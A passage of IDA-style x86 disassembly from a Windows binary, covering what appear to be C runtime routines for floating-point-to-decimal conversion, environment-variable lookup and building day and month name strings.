[ebp+var_18], 0 jnz short loc_431BB5 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_431BB5: ; CODE XREF: sub_4312E0+8CAj cmp [ebp+var_C], 0 jnz short loc_431BC4 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_431BC4: ; CODE XREF: sub_4312E0+8D9j cmp [ebp+var_14], 1450h jle short loc_431BD6 mov [ebp+var_40], 1 jmp short loc_431C18 ; --------------------------------------------------------------------------- loc_431BD6: ; CODE XREF: sub_4312E0+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_431BE8 mov [ebp+var_78], 1 jmp short loc_431C18 ; --------------------------------------------------------------------------- loc_431BE8: ; CODE XREF: sub_4312E0+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_4344A0 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_431C18: ; CODE XREF: sub_4312E0+8F4j ; sub_4312E0+906j jmp short loc_431C37 ; --------------------------------------------------------------------------- loc_431C1A: ; CODE XREF: sub_4312E0+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_431C37: ; CODE XREF: sub_4312E0+814j ; sub_4312E0+81Ej ... cmp [ebp+var_54], 0 jnz short loc_431C66 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_431CBD ; --------------------------------------------------------------------------- loc_431C66: ; CODE XREF: sub_4312E0+95Bj cmp [ebp+var_40], 0 jz short loc_431C91 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_431CBD ; --------------------------------------------------------------------------- loc_431C91: ; CODE XREF: sub_4312E0+98Aj cmp [ebp+var_78], 0 jz short loc_431CBD mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_431CBD: ; CODE XREF: sub_4312E0+984j ; sub_4312E0+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_4312E0 endp ; --------------------------------------------------------------------------- off_431CFA dd offset loc_4313BC ; DATA XREF: sub_4312E0+D5r dd offset loc_43145A dd offset loc_431510 dd offset loc_43157B dd offset loc_431693 dd offset loc_4317C5 dd offset loc_43183B dd offset loc_431920 dd offset loc_4318C2 dd offset loc_431973 dd offset loc_431AE3 dd offset loc_431A7F off_431D2A dd offset loc_4314E9 ; DATA XREF: sub_4312E0+1F0r dd offset loc_4314D7 dd offset loc_4314E0 dd offset loc_4314FB byte_431D3A db 0 ; DATA XREF: sub_4312E0+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_431D75 dd offset loc_43166C ; DATA XREF: sub_4312E0+37Cr dd offset loc_431663 dd offset loc_43167E byte_431D81 db 0 ; DATA XREF: sub_4312E0+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_431DBC dd offset loc_43179E ; DATA XREF: sub_4312E0+4AEr dd offset loc_431795 dd offset loc_4317B0 byte_431DC8 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1) ; DATA XREF: sub_4312E0+4A8r db 0Dh dup(0CCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_4312E0 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_42D950 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_431E58 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_431E58: ; CODE XREF: .nsp0:00431E4Ej mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431E60 proc near ; CODE XREF: sub_42DBD0+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_431EFE mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_431F05 ; --------------------------------------------------------------------------- loc_431EFE: ; CODE XREF: sub_431E60+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_431F05: ; CODE XREF: sub_431E60+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_431F4C cmp [ebp+var_24], 0 jnz short loc_431F4C cmp [ebp+var_48], 0 jnz short loc_431F4C mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_432372 ; --------------------------------------------------------------------------- loc_431F4C: ; CODE XREF: sub_431E60+B0j ; sub_431E60+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_432046 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_431F78 cmp [ebp+var_48], 0 jz short loc_431FAC loc_431F78: ; CODE XREF: sub_431E60+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_431FAC push offset dword_438DA8 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41C300 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_432041 ; --------------------------------------------------------------------------- loc_431FAC: ; CODE XREF: sub_431E60+116j ; sub_431E60+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_431FEC cmp [ebp+var_24], 0C0000000h jnz short loc_431FEC cmp [ebp+var_48], 0 jnz short loc_431FEC push offset dword_438DA0 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41C300 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_432041 ; --------------------------------------------------------------------------- loc_431FEC: ; CODE XREF: sub_431E60+157j ; sub_431E60+160j ... cmp [ebp+var_24], 80000000h jnz short loc_43201F cmp [ebp+var_48], 0 jnz short loc_43201F push offset dword_438D98 mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_41C300 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_432041 ; --------------------------------------------------------------------------- loc_43201F: ; CODE XREF: sub_431E60+193j ; sub_431E60+199j push offset dword_438D90 mov eax, [ebp+arg_14] add eax, 4 push eax call sub_41C300 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_432041: ; CODE XREF: sub_431E60+147j ; sub_431E60+18Aj ... jmp loc_43236F ; --------------------------------------------------------------------------- loc_432046: ; CODE XREF: sub_431E60+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_4344A0 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_43211D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_434060 add esp, 8 loc_43211D: ; CODE XREF: sub_431E60+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_432171 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_432171 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_432372 ; --------------------------------------------------------------------------- loc_432171: ; CODE XREF: sub_431E60+2CFj ; sub_431E60+2E1j cmp [ebp+arg_C], 15h jle short loc_43217E mov [ebp+arg_C], 15h loc_43217E: ; CODE XREF: sub_431E60+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_4321A6 ; --------------------------------------------------------------------------- loc_43219D: ; CODE XREF: sub_431E60+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_4321A6: ; CODE XREF: sub_431E60+33Bj cmp [ebp+var_44], 8 jge short loc_4321BA lea edx, [ebp+var_38] push edx call sub_4310D0 add esp, 4 jmp short loc_43219D ; --------------------------------------------------------------------------- loc_4321BA: ; CODE XREF: sub_431E60+34Aj cmp [ebp+var_2E+2], 0 jge short loc_4321EC mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_4321D8 ; --------------------------------------------------------------------------- loc_4321CF: ; CODE XREF: sub_431E60+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_4321D8: ; CODE XREF: sub_431E60+36Dj cmp [ebp+var_74], 0 jle short loc_4321EC lea edx, [ebp+var_38] push edx call sub_431130 add esp, 4 jmp short loc_4321CF ; --------------------------------------------------------------------------- loc_4321EC: ; CODE XREF: sub_431E60+35Ej ; sub_431E60+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_432209 ; --------------------------------------------------------------------------- loc_432200: ; CODE XREF: sub_431E60+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_432209: ; CODE XREF: sub_431E60+39Ej cmp [ebp+var_10], 0 jle short loc_432275 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_4310D0 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_4310D0 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_431020 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_4310D0 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_432200 ; --------------------------------------------------------------------------- loc_432275: ; CODE XREF: sub_431E60+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_4322F3 jmp short loc_4322A3 ; --------------------------------------------------------------------------- loc_43229A: ; CODE XREF: sub_431E60+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4322A3: ; CODE XREF: sub_431E60+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_4322C1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_4322C1 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_43229A ; --------------------------------------------------------------------------- loc_4322C1: ; CODE XREF: sub_431E60+44Cj ; sub_431E60+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_4322E5 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_4322E5: ; CODE XREF: sub_431E60+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_43234C ; --------------------------------------------------------------------------- loc_4322F3: ; CODE XREF: sub_431E60+436j jmp short loc_4322FE ; --------------------------------------------------------------------------- loc_4322F5: ; CODE XREF: sub_431E60+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_4322FE: ; CODE XREF: sub_431E60:loc_4322F3j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_432316 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_432316 jmp short loc_4322F5 ; --------------------------------------------------------------------------- loc_432316: ; CODE XREF: sub_431E60+4A7j ; sub_431E60+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_43234C mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_432372 ; --------------------------------------------------------------------------- loc_43234C: ; CODE XREF: sub_431E60+491j ; sub_431E60+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_43236F: ; CODE XREF: sub_431E60:loc_432041j mov eax, [ebp+var_58] loc_432372: ; CODE XREF: sub_431E60+E7j ; sub_431E60+30Cj ... mov esp, ebp pop ebp retn sub_431E60 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx push 0Ch call sub_41FB40 add esp, 4 mov eax, [ebp+8] push eax call sub_4323B0 add esp, 4 mov [ebp-4], eax push 0Ch call sub_41FBE0 add esp, 4 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4323B0 proc near ; CODE XREF: sub_42DF80+3Ap ; .nsp0:00432392p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4EF898 mov [ebp+var_8], eax cmp dword_4F0FA8, 0 jnz short loc_4323CE xor eax, eax jmp loc_432472 ; --------------------------------------------------------------------------- loc_4323CE: ; CODE XREF: sub_4323B0+15j cmp [ebp+var_8], 0 jnz short loc_4323F6 cmp dword_4EF8A0, 0 jz short loc_4323F6 call sub_4345C0 test eax, eax jz short loc_4323ED xor eax, eax jmp loc_432472 ; --------------------------------------------------------------------------- loc_4323ED: ; CODE XREF: sub_4323B0+34j mov ecx, dword_4EF898 mov [ebp+var_8], ecx loc_4323F6: ; CODE XREF: sub_4323B0+22j ; sub_4323B0+2Bj cmp [ebp+var_8], 0 jz short loc_432470 cmp [ebp+arg_0], 0 jz short loc_432470 mov edx, [ebp+arg_0] push edx call sub_418D00 add esp, 4 mov [ebp+var_4], eax loc_432411: ; CODE XREF: sub_4323B0+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_432470 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_418D00 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_432465 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_432465 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_434570 add esp, 0Ch test eax, eax jnz short loc_432465 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_432472 ; --------------------------------------------------------------------------- loc_432465: ; CODE XREF: sub_4323B0+7Aj ; sub_4323B0+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_432411 ; --------------------------------------------------------------------------- loc_432470: ; CODE XREF: sub_4323B0+4Aj ; sub_4323B0+50j ... xor eax, eax loc_432472: ; CODE XREF: sub_4323B0+19j ; sub_4323B0+38j ... mov esp, ebp pop ebp retn sub_4323B0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_4525E8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4324A8 ; --------------------------------------------------------------------------- loc_43249F: ; CODE XREF: .nsp0:004324DFj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4324A8: ; CODE XREF: .nsp0:0043249Dj cmp dword ptr [ebp-10h], 7 jnb short loc_4324E1 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_418D00 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_418D00 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_43249F ; --------------------------------------------------------------------------- loc_4324E1: ; CODE XREF: .nsp0:004324ACj mov eax, [ebp-8] add eax, 1 push eax call sub_418ED0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_432599 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_432515 ; --------------------------------------------------------------------------- loc_43250C: ; CODE XREF: .nsp0:00432588j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_432515: ; CODE XREF: .nsp0:0043250Aj cmp dword ptr [ebp-10h], 7 jnb short loc_43258A mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43250C ; --------------------------------------------------------------------------- loc_43258A: ; CODE XREF: .nsp0:00432519j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_432599: ; CODE XREF: .nsp0:004324F7j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_4525E8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4325D8 ; --------------------------------------------------------------------------- loc_4325CF: ; CODE XREF: .nsp0:00432610j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4325D8: ; CODE XREF: .nsp0:004325CDj cmp dword ptr [ebp-10h], 0Ch jnb short loc_432612 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_418D00 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_418D00 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4325CF ; --------------------------------------------------------------------------- loc_432612: ; CODE XREF: .nsp0:004325DCj mov eax, [ebp-8] add eax, 1 push eax call sub_418ED0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_4326CB mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_432646 ; --------------------------------------------------------------------------- loc_43263D: ; CODE XREF: .nsp0:004326BAj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_432646: ; CODE XREF: .nsp0:0043263Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_4326BC mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_43263D ; --------------------------------------------------------------------------- loc_4326BC: ; CODE XREF: .nsp0:0043264Aj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_4326CB: ; CODE XREF: .nsp0:00432628j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, off_4525E8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_432708 ; --------------------------------------------------------------------------- loc_4326FF: ; CODE XREF: .nsp0:0043273Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_432708: ; CODE XREF: .nsp0:004326FDj cmp dword ptr [ebp-10h], 7 jnb short loc_432741 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_418D00 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_418D00 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4326FF ; --------------------------------------------------------------------------- loc_432741: ; CODE XREF: .nsp0:0043270Cj mov dword ptr [ebp-10h], 0 jmp short loc_432753 ; --------------------------------------------------------------------------- loc_43274A: ; CODE XREF: .nsp0:0043278Bj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_432753: ; CODE XREF: .nsp0:00432748j cmp dword ptr [ebp-10h], 0Ch jnb short loc_43278D mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_418D00 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_418D00 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_43274A ; --------------------------------------------------------------------------- loc_43278D: ; CODE XREF: .nsp0:00432757j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_418D00 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_418D00 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_418D00 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_418D00 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_418D00 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_418ED0 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_432A46 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, off_4525E8 push eax mov ecx, [ebp-4] push ecx call near ptr sub_41C8D0 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_43286A ; --------------------------------------------------------------------------- loc_432861: ; CODE XREF: .nsp0:004328DCj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_43286A: ; CODE XREF: .nsp0:0043285Fj cmp dword ptr [ebp-10h], 7 jnb short loc_4328DE mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_41C300 add esp, 8 push eax call sub_418D00 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov 